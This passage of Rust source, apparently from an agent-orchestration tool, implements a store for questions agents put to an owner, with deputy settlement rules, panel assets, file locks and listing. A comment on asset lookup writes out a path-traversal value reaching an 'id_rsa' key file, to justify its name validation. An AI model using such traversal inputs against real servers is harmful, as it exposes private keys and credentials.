882    /// An answered question is left alone, which matters at exactly one moment:
883    /// the owner answering in the same second the wait's deadline passes. The
884    /// answer is the thing worth keeping there, and it has already been written
885    /// by another process.
886    ///
887    /// The reason is appended to [`Question::detail`] because the on-disk shape
888    /// is a contract with the front end and has no field of its own for it -
889    /// and "asked at 3am, nobody home for a day" belongs with the question, not
890    /// only in a log the operator will never open.
891    pub fn abandon(&mut self, why: impl Into<String>) {
892        if !self.status.open() {
893            return;
894        }
895        self.status = QuestionStatus::Abandoned;
896        let why = why.into();
897        let why = why.trim();
898        if why.is_empty() {
899            return;
900        }
901        if !self.detail.is_empty() {
902            self.detail.push('\n');
903        }
904        self.detail.push_str("\n_Abandoned: ");
905        self.detail.push_str(why);
906        self.detail.push_str("._\n");
907    }
908
909    /// The answer as the asking agent should read it.
910    ///
911    /// One string for both kinds of question: the agent's prompt says "the
912    /// owner answered:", and a chosen option and a typed sentence are the same
913    /// thing at that point. `None` while the question is open or abandoned, so
914    /// a caller cannot mistake silence for a decision.
915    pub fn resolution(&self) -> Option<String> {
916        match (self.status, &self.answer) {
917            (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
918                Some(a.clone())
919            }
920            _ => None,
921        }
922    }
923
924    /// A deputy recording that the owner's own words settled the question.
925    ///
926    /// The owner decided in free text ("setup done") on a question that offers
927    /// choices, so no choice was ever tapped. This records `label` as the
928    /// answer - and nothing else: applying it is the daemon's existing path
929    /// for an answered conductor question. Refused unless the caller is this
930    /// question's deputy seat, `label` is one of the offered choices, and
931    /// `quote` appears verbatim in something the owner said; the quote is
932    /// kept in the thread as an agent turn so the record shows what the
933    /// decision rests on.
934    pub fn settle_by_deputy(
935        &mut self,
936        seat: &str,
937        label: &str,
938        quote: &str,
939        note: Option<&str>,
940    ) -> Result<()> {
941        let Some(deputy) = &self.deputy else {
942            bail!("question {} has no deputy", self.short());
943        };
944        let own = deputy.seat.as_ref().map(|s| s.key.as_str());
945        if own != Some(seat) {
946            bail!("only the deputy of question {} may settle it", self.short());
947        }
948        if !self.choices.iter().any(|c| c == label) {
949            bail!(
950                "`{label}` is not one of the choices offered on question {}",
951                self.short()
952            );
953        }
954        let quote = quote.trim();
955        if quote.is_empty()
956            || !self
957                .thread
958                .iter()
959                .any(|t| t.who == Who::Operator && t.body.contains(quote))
960        {
961            bail!(
962                "the quote is not something the owner said on question {}",
963                self.short()
964            );
965        }
966        // The owner's latest message is what counts (an earlier one may since
967        // have been qualified or withdrawn).
968        let latest = self
969            .thread
970            .iter()
971            .rev()
972            .find(|t| t.who == Who::Operator)
973            .map(|t| {
974                if self.node == crate::github_text::ASK_NODE && !crate::deputy::merge_gated(self) {
975                    t.body.as_str()
976                } else {
977                    t.body.trim()
978                }
979            });
980        if let Some(message) = latest {
981            crate::consult::validate_batch_effect(self, label, message, quote)?;
982        }
983        if self.node == crate::github_text::ASK_NODE && label == crate::github_text::USE_MY_TEXT {
984            let message = latest.context("use my text requires a current owner instruction with the literal replacement title")?;
985            crate::consult::validate_effect(self, label, message, quote, true)?;
986        } else if crate::deputy::merge_gated(self) {
987            // The merge is irreversible and a say is not a decision. `hold` must
988            // be the latest message exactly. For `merge`, whether the words are
989            // a clear, unhedged instruction is the deputy's judgement alone;
990            // all magi checks is that the quote is a verbatim part of that
991            // latest message.
992            let ok = if label == crate::land::APPROVE {
993                latest.is_some_and(|m| match &self.merge_target {
994                    Some(target) => m == format!("merge {}", target.head) && quote == m,
995                    None => m.contains(quote),
996                })
997            } else {
998                latest.is_some_and(|m| crate::merge_decision::exact_owner_choice(label, m, quote))
999            };
1000            if !ok {
1001                bail!(
1002                    "on a merge approval `{label}` settles it only when the quote is a \
1003                     verbatim part of the owner's latest message ({}); if the wording is \
1004                     doubtful, ask what they mean with `--thread` instead",
1005                    if label == crate::land::HOLD {
1006                        "for `hold`, the whole message"
1007                    } else {
1008                        "the quote must be the instruction itself"
1009                    }
1010                );
1011            }
1012        } else if self.node == crate::github_text::ASK_NODE
1013            && crate::deputy::destructive(self, label)
1014        {
1015            if !latest.is_some_and(|m| crate::github_text::posting_authorized(m, quote, label)) {
1016                bail!(
1017                    "posting confirmation requires an explicit, unconditional instruction for the chosen text quoted verbatim from the latest owner message"
1018                );
1019            }
1020        } else if crate::deputy::destructive(self, label)
1021            && !latest.is_some_and(|m| crate::land::unhedged(m, quote))
1022        {
1023            bail!(
1024                "`{label}` cannot be undone; it settles question {} only when the owner's \
1025                 latest message clearly says so, unhedged and quoted verbatim (no maybe / if \
1026                 / not / question); ask what they mean with `--thread` instead",
1027                self.short()
1028            );
1029        }
1030        self.thread.push(Turn {
1031            who: Who::Agent,
1032            body: format!("Settled as `{label}` on the owner's words: \"{quote}\""),
1033            at: Timestamp::now(),
1034            note: note
1035                .map(str::trim)
1036                .filter(|n| !n.is_empty())
1037                .map(str::to_owned),
1038        });
1039        self.delivered_turns = self.thread.len();
1040        self.answer(Answer::Choice(label.to_owned()))
1041    }
1042
1043    /// The owner speaking back without answering: a request for context, a
1044    /// clarifying question, anything short of a decision.
1045    ///
1046    /// Rejects the same two states [`Question::answer`] does, and for the same
1047    /// reason - a question with a recorded [`Answer`] or an abandoned one has
1048    /// no run left listening for a reply - and an empty turn, which would tell
1049    /// the agent nothing it didn't already know. Never changes `status`: the
1050    /// question stays [`QuestionStatus::Open`], because the owner did not
1051    /// decide anything, they only spoke, and `count_open`/`open_for` must keep
1052    /// counting this as the one question it always was.
1053    pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
1054        match self.status {
1055            QuestionStatus::Answered => bail!(
1056                "question {} was already answered; there is nothing left to \
1057                 discuss",
1058                self.short()
1059            ),
1060            QuestionStatus::Abandoned => bail!(
1061                "question {} was abandoned and the run behind it is gone",
1062                self.short()
1063            ),
1064            QuestionStatus::Open => {}
1065        }
1066        let body = body.into();
1067        if body.trim().is_empty() {
1068            bail!("a message to question {} cannot be empty", self.short());
1069        }
1070        self.thread.push(Turn {
1071            who: Who::Operator,
1072            body,
1073            at: Timestamp::now(),
1074            note: None,
1075        });
1076        Ok(())
1077    }
1078
1079    /// The agent replying to the owner's last word, in place of an answer:
1080    /// same question, same id, another round.
1081    ///
1082    /// `choices` replaces [`Question::choices`] wholesale rather than merging,
1083    /// on the same reasoning [`Questions::put_panel`] replaces a panel
1084    /// wholesale: the whole point of asking back is that what should be
1085    /// offered next may have changed, and a caller that wanted the old set
1086    /// unchanged can simply pass it again. An empty `Vec` means free text,
1087    /// exactly as it does when the question is first asked.
1088    pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
1089        match self.status {
1090            QuestionStatus::Answered => bail!(
1091                "question {} was already answered; replying now would not \
1092                 reach anyone",
1093                self.short()
1094            ),
1095            QuestionStatus::Abandoned => bail!(
1096                "question {} was abandoned and the run behind it is gone",
1097                self.short()
1098            ),
1099            QuestionStatus::Open => {}
1100        }
1101        let body = body.into();
1102        if body.trim().is_empty() {
1103            bail!("a reply to question {} cannot be empty", self.short());
1104        }
1105        // An action whose label is no longer offered could never fire.
1106        self.actions.retain(|label, _| choices.contains(label));
1107        self.choices = choices;
1108        let unread = self.unread_from_owner().is_some();
1109        self.thread.push(Turn {
1110            who: Who::Agent,
1111            body,
1112            at: Timestamp::now(),
1113            note: None,
1114        });
1115        // The agent has read everything up to its own reply - but only if
1116        // nothing the owner said in the meantime is still unread. A second say
1117        // that landed after the agent's last look must stay undelivered.
1118        if !unread {
1119            self.delivered_turns = self.thread.len();
1120        }
1121        Ok(())
1122    }
1123
1124    /// What the owner said that the agent has not read yet, oldest first,
1125    /// joined. `None` unless the question is open and such a turn exists.
1126    ///
1127    /// Not [`Question::waiting_on_agent`]: an agent's reply can land *after* a
1128    /// second owner turn it never saw, which leaves the last turn the agent's
1129    /// and the ball apparently back with the owner while a say is still unread.
1130    pub fn unread_from_owner(&self) -> Option<String> {
1131        if !self.status.open() {
1132            return None;
1133        }
1134        let said = self.undelivered_owner_turns();
1135        (!said.is_empty()).then(|| said.join("\n\n"))
1136    }
1137
1138    /// Owner turns the agent has not been handed yet, oldest first, whatever
1139    /// the question's status. [`Question::unread_from_owner`] adds the "still
1140    /// open" guard the waiter and the deputy rely on; an answer being handed
1141    /// over needs the says that came before it even though the question is
1142    /// closed by then.
1143    pub fn undelivered_owner_turns(&self) -> Vec<&str> {
1144        let from = self.delivered_turns.min(self.thread.len());
1145        self.thread[from..]
1146            .iter()
1147            .filter(|t| t.who == Who::Operator)
1148            .map(|t| t.body.as_str())
1149            .collect()
1150    }
1151
1152    /// When the conversation last moved: the newest thread turn, or the asking
1153    /// itself, in seconds. `magi ask --thread` re-arms `answer_timeout` on
1154    /// every reply, so a deadline runs from here and not from `asked_at`.
1155    pub fn last_activity(&self) -> i64 {
1156        self.thread
1157            .iter()
1158            .map(|t| t.at.as_second())
1159            .max()
1160            .unwrap_or(0)
1161            .max(self.asked_at.as_second())
1162    }
1163
1164    /// Is the ball in the agent's court?
1165    ///
1166    /// True from the moment the owner speaks back until the agent's next
1167    /// [`Question::reply`], and never on a fresh or an already-settled
1168    /// question. [`QuestionStatus`] does not move for either side of this -
1169    /// see [`Question::say`] - so this is the one place that state is
1170    /// readable at all, which is why [`crate::web::QuestionView`] carries it
1171    /// separately rather than asking the phone to infer it from the thread.
1172    pub fn waiting_on_agent(&self) -> bool {
1173        self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
1174    }
1175
1176    /// Should a notification go out right now?
1177    ///
1178    /// Always, for the very first ask: [`Question::thread`] is still empty, so
1179    /// there is no earlier operator turn to have already caught anyone's
1180    /// attention. After that, only once [`REPLY_QUIET_WINDOW`] has passed
1181    /// since the owner's own last word - see that constant for why the window
1182    /// exists at all and why its length is not configurable.
1183    fn should_notify(&self, now: Timestamp) -> bool {
1184        let Some(last) = self
1185            .thread
1186            .iter()
1187            .rev()
1188            .find(|t| t.who == Who::Operator)
1189            .map(|t| t.at)
1190        else {
1191            return true;
1192        };
1193        now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
1194    }
1195}
1196
1197/// A question store on disk.
1198#[derive(Debug, Clone)]
1199pub struct Questions {
1200    root: PathBuf,
1201}
1202
1203impl Questions {
1204    /// The operator's questions, `<home>/questions`.
1205    pub fn open() -> Self {
1206        Self::at(crate::run::home().join("questions"))
1207    }
1208
1209    /// A store at an explicit root. Tests use this, which is why none of them
1210    /// need the operator's real home.
1211    pub fn at(root: PathBuf) -> Self {
1212        Self { root }
1213    }
1214
1215    /// Directory holding the question files.
1216    pub fn root(&self) -> &Path {
1217        &self.root
1218    }
1219
1220    /// Path for one question id.
1221    pub fn path_of(&self, id: &str) -> PathBuf {
1222        self.root.join(format!("{id}.json"))
1223    }
1224
1225    /// Directory holding one question's panel, `<root>/<id>.panel`.
1226    pub fn panel_dir(&self, id: &str) -> PathBuf {
1227        self.root.join(format!("{id}{PANEL_DIR}"))
1228    }
1229
1230    /// Store a panel: the html, plus `assets` copied in under their base
1231    /// names. Updates `q.panel` and `q.assets`; the caller then [`put`]s the
1232    /// question, or the record on disk will deny having a panel that exists.
1233    ///
1234    /// The assets are **copied, not referenced**. An agent authors its panel
1235    /// inside a candidate worktree and points at files there, and `magi fold`
1236    /// deletes those worktrees; a question is the permanent record of a
1237    /// decision the owner took, so a panel that referenced its own images
1238    /// would render as broken boxes exactly when someone went back to ask why
1239    /// the decision was made. Copying follows symlinks - [`std::fs::copy`]
1240    /// does, and so does the [`std::fs::metadata`] the size is measured with,
1241    /// so the bytes counted and the bytes written are the same target file's -
1242    /// which is the intent: storing a link would leave the panel pointing at
1243    /// the worktree again, one indirection further away.
1244    ///
1245    /// Everything that can be rejected is rejected before the first byte is
1246    /// written, and the panel is then assembled in a scratch directory and
1247    /// swapped in. So a refusal leaves the previous panel intact, and a
1248    /// success replaces it *wholesale* rather than merging: a re-asked
1249    /// question showing one attempt's diff next to another attempt's table
1250    /// would be a panel neither agent ever wrote.
1251    ///
1252    /// [`put`]: Questions::put
1253    pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
1254        if !valid_asset_name(&q.id) {
1255            bail!(
1256                "question id `{}` is not a name magi will build a panel path from",
1257                q.id
1258            );
1259        }
1260        if html.trim().is_empty() {
1261            bail!(
1262                "question {} was handed an empty panel; an empty frame reads to \
1263                 the owner as \"the agent had nothing to say\", which is a lie",
1264                q.short()
1265            );
1266        }
1267
1268        // Names, then sizes, then writing - in that order, so nothing below
1269        // can leave a partial panel on disk.
1270        let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
1271        for src in assets {
1272            let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
1273            if !valid_asset_name(name) {
1274                bail!(
1275                    "panel asset `{}` cannot be stored: a panel file name must \
1276                     match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
1277                    src.display()
1278                );
1279            }
1280            if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
1281                bail!(
1282                    "two panel assets are both named `{name}` - {} and {} - and \
1283                     the panel can only show one of them; rename one at the source",
1284                    first.display(),
1285                    src.display()
1286                );
1287            }
1288            named.push((name.to_owned(), src.as_path()));
1289        }
1290
1291        let mut total = html.len() as u64;
1292        for (_, src) in &named {
1293            let meta = std::fs::metadata(src)
1294                .with_context(|| format!("stat panel asset {}", src.display()))?;
1295            if !meta.is_file() {
1296                bail!(
1297                    "panel asset `{}` is not a file; a panel is html plus files \
1298                     copied beside it",
1299                    src.display()
1300                );
1301            }
1302            total = total.saturating_add(meta.len());
1303        }
1304        if total > PANEL_MAX_BYTES {
1305            bail!(
1306                "panel for question {} is {total} bytes, over magi's cap of \
1307                 {PANEL_MAX_BYTES} bytes; nothing was written",
1308                q.short()
1309            );
1310        }
1311
1312        let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
1313        let dir = self.panel_dir(&q.id);
1314        std::fs::create_dir_all(&self.root)
1315            .with_context(|| format!("create {}", self.root.display()))?;
1316        clear_dir(&tmp)?;
1317        std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
1318        if let Err(e) = fill_panel(&tmp, html, &named) {
1319            // A copy that dies halfway must not become the panel, and must not
1320            // leave scratch behind for the next call to inherit.
1321            let _ = std::fs::remove_dir_all(&tmp);
1322            return Err(e);
1323        }
1324        clear_dir(&dir)?;
1325        std::fs::rename(&tmp, &dir)
1326            .with_context(|| format!("move panel into {}", dir.display()))?;
1327
1328        q.panel = true;
1329        q.assets = named.into_iter().map(|(n, _)| n).collect();
1330        q.assets.sort_unstable();
1331        Ok(())
1332    }
1333
1334    /// The panel's html, or `None` when the question has no panel.
1335    ///
1336    /// `None` rather than an error for a missing panel because the caller is a
1337    /// web handler whose answer is 404 either way, and an unreadable panel is
1338    /// not a reason to fail the question it belongs to.
1339    pub fn panel_html(&self, id: &str) -> Option<String> {
1340        if !valid_asset_name(id) {
1341            return None;
1342        }
1343        std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
1344    }
1345
1346    /// One file from a panel. `Ok(None)` is "no such file"; `Err` is "that is
1347    /// not a name a panel file can have".
1348    ///
1349    /// Rejects a name failing [`valid_asset_name`] **before touching the
1350    /// filesystem**, which is the whole point of the second check: the name
1351    /// arrives from a URL, the directory is on disk where any process could
1352    /// have dropped a file, and `<root>/<id>.panel/../../id_rsa` is a path the
1353    /// operating system would resolve perfectly happily. The two callers'
1354    /// distinct outcomes - 400 for a name, 404 for a file - are why this is
1355    /// `Result<Option<_>>` rather than one flattened `Option`.
1356    pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
1357        if !valid_asset_name(name) {
1358            bail!(
1359                "`{name}` is not a panel file name; it must match \
1360                 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
1361            );
1362        }
1363        if !valid_asset_name(id) {
1364            return Ok(None);
1365        }
1366        let dir = self.panel_dir(id);
1367        if !dir.is_dir() {
1368            return Ok(None);
1369        }
1370        let path = dir.join(name);
1371        match std::fs::read(&path) {
1372            Ok(bytes) => Ok(Some(bytes)),
1373            Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
1374            Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
1375        }
1376    }
1377
1378    /// Delete a question's panel, and any scratch a killed [`put_panel`] left.
1379    ///
1380    /// Succeeds when there is nothing to delete, so a caller cleaning up does
1381    /// not have to know whether a panel was ever written. The question record
1382    /// is not touched: the caller clears `panel` and `assets` and `put`s it,
1383    /// in the same order as everywhere else here.
1384    ///
1385    /// [`put_panel`]: Questions::put_panel
1386    pub fn drop_panel(&self, id: &str) -> Result<()> {
1387        if !valid_asset_name(id) {
1388            bail!("question id `{id}` is not a name magi will build a panel path from");
1389        }
1390        clear_dir(&self.panel_dir(id))?;
1391        clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
1392    }
1393
1394    /// Path of the lease sidecar for one question id.
1395    pub fn lease_path(&self, id: &str) -> PathBuf {
1396        self.root.join(format!("{id}.lease"))
1397    }
1398
1399    /// The lease on a question, if a readable one exists.
1400    pub fn read_lease(&self, id: &str) -> Option<Lease> {
1401        let body = std::fs::read_to_string(self.lease_path(id)).ok()?;
1402        serde_json::from_str(&body).ok()
1403    }
1404
1405    /// Say, as `kind`, that something is alive and waiting on this question.
1406    ///
1407    /// Best-effort: a beat that cannot be written is a `tracing::debug`, never
1408    /// a reason to abandon a wait - the worst it costs is the waiter deciding
1409    /// the holder is gone a little early, and that is what the delivery guard
1410    /// (the seat still being busy) is there for.
1411    pub fn beat(&self, id: &str, kind: WaiterKind) {
1412        let lease = Lease {
1413            kind,
1414            pid: std::process::id(),
1415            beat_at: Timestamp::now(),
1416        };
1417        let path = self.lease_path(id);
1418        let tmp = path.with_extension("lease.tmp");
1419        let written = std::fs::create_dir_all(&self.root)
1420            .and_then(|()| std::fs::write(&tmp, serde_json::to_string(&lease).unwrap_or_default()))
1421            .and_then(|()| std::fs::rename(&tmp, &path));
1422        if let Err(e) = written {
1423            tracing::debug!("could not beat the lease on question {id}: {e}");
1424        }
1425    }
1426
1427    /// Remove the lease sidecar. Absent is fine.
1428    pub fn drop_lease(&self, id: &str) {
1429        let _ = std::fs::remove_file(self.lease_path(id));
1430    }
1431
1432    /// Read-modify-write one question under a short exclusive lock, so the
1433    /// waiter's bookkeeping, the asker's and the phone's `say` cannot overwrite
1434    /// each other with a copy that predates the others.
1435    ///
1436    /// [`Questions::put`] is an atomic *replace*, which protects a reader from
1437    /// a torn file and does nothing for two writers that both read the same
1438    /// version first. Everything that changes a question that can still be
1439    /// answered goes through here: `f` sees the current record, not one loaded
1440    /// earlier. A lock older than [`LOCK_STALE`] belongs to a writer that died
1441    /// mid-update and is broken.
1442    pub fn update<T>(
1443        &self,
1444        id: &str,
1445        f: impl FnOnce(&mut Question) -> Result<T>,
1446    ) -> Result<(Question, T)> {
1447        std::fs::create_dir_all(&self.root)
1448            .with_context(|| format!("create {}", self.root.display()))?;
1449        let lock = self.root.join(format!("{id}.lock"));
1450        let started = std::time::Instant::now();
1451        loop {
1452            match std::fs::OpenOptions::new()
1453                .write(true)
1454                .create_new(true)
1455                .open(&lock)
1456            {
1457                Ok(_) => break,
1458                Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
1459                    let stale = std::fs::metadata(&lock)
1460                        .and_then(|m| m.modified())
1461                        .ok()
1462                        .and_then(|t| t.elapsed().ok())
1463                        .is_some_and(|age| age > LOCK_STALE);
1464                    if stale {
1465                        let _ = std::fs::remove_file(&lock);
1466                    } else if started.elapsed() > LOCK_STALE {
1467                        bail!("could not lock question {id}");
1468                    } else {
1469                        std::thread::sleep(Duration::from_millis(15));
1470                    }
1471                }
1472                Err(e) => return Err(e).with_context(|| format!("lock {}", lock.display())),
1473            }
1474        }
1475        struct Unlock(PathBuf);
1476        impl Drop for Unlock {
1477            fn drop(&mut self) {
1478                let _ = std::fs::remove_file(&self.0);
1479            }
1480        }
1481        let _guard = Unlock(lock);
1482        let mut q = read_path(&self.path_of(id))?;
1483        let was_dismissed = q.resolution().as_deref() == Some(crate::merge_decision::DISMISS);
1484        let out = f(&mut q)?;
1485        if !was_dismissed && q.resolution().as_deref() == Some(crate::merge_decision::DISMISS) {
1486            let home = self.root.parent().context("question store has no home")?;
1487            crate::merge_decision::dismiss(home, &q)?;
1488        }
1489        self.put(&mut q)?;
1490        Ok((q, out))
1491    }
1492
1493    /// File a component-owned question only when every choice has an effect.
1494    /// Legacy records remain readable; this is deliberately a creation check.
1495    pub fn put_executable(&self, q: &mut Question) -> Result<()> {
1496        anyhow::ensure!(
1497            q.actions.keys().all(|c| q.choices.contains(c)),
1498            "question action names an unoffered choice"
1499        );
1500        for label in &q.choices {
1501            anyhow::ensure!(
1502                crate::choice_effect::describe(q, label).is_some(),
1503                "question node {} offers an unsupported choice: {label}",
1504                q.node
1505            );
1506        }
1507        self.put(q)
1508    }
1509
1510    /// Write a question, atomically, so a process killed mid-write leaves the
1511    /// previous state readable rather than a truncated file that would strand
1512    /// the run waiting on it.
1513    pub fn put(&self, q: &mut Question) -> Result<()> {
1514        std::fs::create_dir_all(&self.root)
1515            .with_context(|| format!("create {}", self.root.display()))?;
1516        let body = serde_json::to_string_pretty(q).context("serialize question")?;
1517        let path = self.path_of(&q.id);
1518        let tmp = path.with_extension("json.tmp");
1519        let is_new = !path.exists();
1520        std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
1521        std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
1522        // A first write of an open question pages the operator, so a separate
1523        // notification about the same task or run is now a second page.
1524        if is_new
1525            && q.status.open()
1526            && q.node != crate::bump::NOTICE_NODE
1527            && let Some(home) = self.root.parent().filter(|p| !p.as_os_str().is_empty())
1528        {
1529            crate::notices::quiet_for(home, q);
1530        }
1531        Ok(())
1532    }
1533
1534    /// Load a question by id or unambiguous id prefix.
1535    pub fn get(&self, id: &str) -> Result<Question> {
1536        let resolved = self.resolve_id(id)?;
1537        let q = read_path(&self.path_of(&resolved))?;
1538        Ok(self.with_repair_choice(q))
1539    }
1540
1541    fn with_repair_choice(&self, mut q: Question) -> Question {
1542        // Older local release approvals already persisted their displayed head
1543        // in the watch record. Recover that binding, never today's forge head.
1544        if q.status.open()
1545            && q.merge_target.is_none()
1546            && let Some(home) = self.root.parent()
1547            && let Some(target) = crate::release_watch::approval_target(home, &q)
1548            && let Ok((current, ())) = self.update(&q.id, |current| {
1549                if current.status.open() && current.merge_target.is_none() {
1550                    current.merge_target = Some(target.clone());
1551                }
1552                Ok(())
1553            })
1554        {
1555            q = current;
1556        }
1557        if (q.status.open() || q.resolution().as_deref() == Some(crate::land::REPAIR))
1558            && q.node == crate::land::APPROVAL_NODE
1559            && let Some(home) = self.root.parent()
1560            && let Ok(state) = crate::run::RunState::load_under(&q.run, home)
1561        {
1562            let mut upgraded = q.clone();
1563            if crate::land::upgrade_repair_choice(&mut upgraded, &state) {
1564                match self.update(&q.id, |current| {
1565                    crate::land::upgrade_repair_choice(current, &state);
1566                    Ok(())
1567                }) {
1568                    Ok((current, ())) => return current,
1569                    Err(_) => return read_path(&self.path_of(&q.id)).unwrap_or(q),
1570                }
1571            }
1572        }
1573        q
1574    }
1575
1576    /// Every question on disk: open first, then newest first.
1577    ///
1578    /// Open first because that ordering is the product - the list exists to
1579    /// show the operator what has stopped, and an answered question is history
1580    /// underneath it. Unreadable files are skipped rather than fatal: one
1581    /// corrupt question must not take the web UI down, and must certainly not
1582    /// hide the open question the operator was looking for.
1583    pub fn list(&self) -> Vec<Question> {
1584        let mut all: Vec<Question> = std::fs::read_dir(&self.root)
1585            .into_iter()
1586            .flatten()
1587            .flatten()
1588            .map(|e| e.path())
1589            .filter(|p| p.extension().is_some_and(|x| x == "json"))
1590            .filter_map(|p| read_path(&p).ok())
1591            .map(|q| self.with_repair_choice(q))
1592            .collect();
1593        all.sort_unstable_by(|a, b| {
1594            let rank = |q: &Question| u8::from(!q.status.open());
1595            rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
1596        });
1597        all
1598    }
1599
1600    /// Open questions belonging to one run, newest first.
1601    ///
1602    /// Used to decide whether a parked run can be resumed: while this is
1603    /// non-empty, nothing about the run has changed and no agent should be
1604    /// spawned for it.
1605    pub fn open_for(&self, run: &str) -> Vec<Question> {
1606        self.list()
1607            .into_iter()
1608            .filter(|q| q.status.open() && q.run == run)
1609            .collect()
1610    }
1611
1612    /// Abandon every open question belonging to a run, and report how many.
1613    ///
1614    /// Called when a run's record is deleted. The agent that asked died with
1615    /// the run, so there is nobody left to hand an answer to, and a question
1616    /// left open would keep asking the operator for a decision that can no
1617    /// longer be delivered - the phone showed exactly that: "auth.rs というファ
1618    /// イルが見つかりません" with two buttons, for a run whose directory had
1619    /// been gone for two hours.
1620    ///
1621    /// Abandoned rather than deleted, because [`Question::abandon`] already
1622    /// means "this can no longer be answered" and the record of having asked
1623    /// is worth keeping. Answered questions are left exactly as they are.
1624    pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
1625        let mut abandoned = 0;
1626        for mut q in self.open_for(run) {
1627            q.abandon(why);
1628            self.put(&mut q)?;
1629            abandoned += 1;
1630        }
1631        Ok(abandoned)
1632    }
1633
1634    /// Abandon a run's open questions once `status` says the run is not
1635    /// coming back, worded with what it actually became.
1636    ///
1637    /// The run-deleted case above and this one are the same fact - nobody is
1638    /// left to read an answer - reached by two different doors. This is the
1639    /// one for a run that finished on its own: merged, reached `Ready` with
1640    /// nothing left to do, failed outright with no established point to
1641    /// resume from, or every candidate agreed, with evidence, that nothing
1642    /// belonged in the worktree. Those are exactly the statuses
1643    /// [`RunStatus::resumable`]
1644    /// excludes, and that is the line this draws too - deliberately not
1645    /// [`RunStatus::done`], which also counts `Blocked` and `Stalled` as
1646    /// over. Both of those can still be picked back up with the candidates,
1647    /// the review round and the seat sessions already on disk, so a question
1648    /// asked mid-round may yet get a real answer from a real resume, and
1649    /// folding it here would be exactly the mistake this function exists to
1650    /// avoid on the other side - answering back into a run that no longer
1651    /// exists to read it.
1652    ///
1653    /// A no-op, not an error, when `status` is still resumable or when there
1654    /// was nothing open to begin with - callers reach this from more than one
1655    /// place a run can settle, and a second call finding nothing left to
1656    /// abandon is the expected case, not a bug.
1657    pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
1658        if status.resumable() {
1659            return Ok(0);
1660        }
1661        let why = format!(
1662            "run {run} {}, so nothing is waiting for this answer",
1663            status.as_str()
1664        );
1665        // A post-merge notice is the exception: it is filed *because* the run
1666        // merged, and no agent waits on it - it is a to-do for the owner, not
1667        // a question a dead seat asked. Abandoning it here would erase the
1668        // only alert the moment the run settles.
1669        let mut abandoned = 0;
1670        for mut q in self.open_for(run) {
1671            if q.node == crate::bump::NOTICE_NODE {
1672                continue;
1673            }
1674            q.abandon(&why);
1675            self.put(&mut q)?;
1676            abandoned += 1;
1677        }
1678        Ok(abandoned)
1679    }
1680
1681    /// Expand an id prefix to exactly one question id. The short id the phone
1682    /// and the reports show is a suffix, so that is accepted too.
1683    pub fn resolve_id(&self, prefix: &str) -> Result<String> {
1684        use crate::queue::{Reference, record_ids, resolve_reference};
1685        let ids = record_ids(&self.root, "json")?;
1686        match resolve_reference(prefix, ids.iter().map(String::as_str)) {
1687            Reference::Found(id) => Ok(id),
1688            Reference::Missing => bail!("no question matches `{prefix}`"),
1689            Reference::Ambiguous => bail!("`{prefix}` matches multiple questions"),
1690        }
1691    }
1692
1693    /// Newest modification time in the store, in milliseconds, for change
1694    /// detection. The web UI compares this instead of re-reading every
1695    /// question, so an idle phone on a slow link costs one `stat` per file.
1696    pub fn revision(&self) -> u64 {
1697        std::fs::read_dir(&self.root)
1698            .into_iter()
1699            .flatten()
1700            .flatten()
1701            .filter_map(|e| e.metadata().ok())
1702            .filter_map(|m| m.modified().ok())
1703            .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
1704            .map(|d| d.as_millis() as u64)
1705            .max()
1706            .unwrap_or(0)
1707    }
1708
1709    /// How many questions are open, whichever side of the conversation is
1710    /// holding the ball right now. Ten turns of back and forth between the
1711    /// owner and the agent are still one open question - see
1712    /// [`Question::say`] - so this does not drop while a reply is in
1713    /// flight. [`Self::count_needs_owner`] is the number that does.
1714    pub fn count_open(&self) -> usize {
1715        self.list().iter().filter(|q| q.status.open()).count()
1716    }
1717
1718    /// How many open questions actually need the owner right now: open, and
1719    /// not [`Question::waiting_on_agent`], or the follow-up is exhausted.
1720    ///
1721    /// This is the number a notification channel owes - the ask bar, the nav
1722    /// badge, the document title - because those exist to say "something
1723    /// needs you". An unread say stops needing the agent once its follow-up
1724    /// has spent its starts. `count_open` stays as it is for [`Self::open_for`]'s callers,
1725    /// where a round trip must not look like the run resumed.
1726    pub fn count_needs_owner(&self) -> usize {
1727        self.list()
1728            .iter()
1729            .filter(|q| q.status.open() && (!q.waiting_on_agent() || self.deputy_exhausted(q)))
1730            .count()
1731    }
1732
1733    /// The follow-up spent its starts and its final turn is no longer alive.
1734    /// Computed from the lease rather than saved with the question, so the
1735    /// owner can decide even when an unread message remains in the thread.
1736    pub fn deputy_exhausted(&self, q: &Question) -> bool {
1737        q.status.open()
1738            && q.deputy
1739                .as_ref()
1740                .is_some_and(|d| d.starts >= crate::deputy::MAX_STARTS)
1741            && !self
1742                .read_lease(&q.id)
1743                .is_some_and(|l| l.fresh(Timestamp::now()))
1744    }
1745}
1746
1747/// How a wait over [`Question`] ended.
1748#[derive(Debug, Clone, PartialEq, Eq)]
1749pub enum Wait {
